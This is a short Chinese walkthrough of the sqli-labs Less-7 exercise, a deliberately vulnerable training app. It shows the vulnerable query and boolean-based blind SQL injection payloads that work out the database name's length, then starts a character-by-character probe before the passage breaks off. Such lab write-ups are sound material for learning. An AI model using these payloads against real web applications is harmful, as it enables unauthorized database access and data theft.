Less-7
查找原SQL语句:$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"
测试:
在我们输入:?id=1时会显示“You are in.... Use outfile......”,从中发现在这一关中没有报错我们所需的内容。
所有在这一关中我们要使用“布尔盲注”此时我们就需要使用“select length(database())”显示当前数据名字的长度和“select substr(database(),1,1)”显示当前熟即名字的第一个字母。
对数据库长度进行推测:?id=1')) and 1= (select length(database())) --+
............................
?id=1')) and 8= (select length(database())) --+
当我们推测到8时会显示:You are in.... Use outfile......,由此可知数据库的长度有八位。
对数据库进行推测: ?id=1')) and 'a'= (s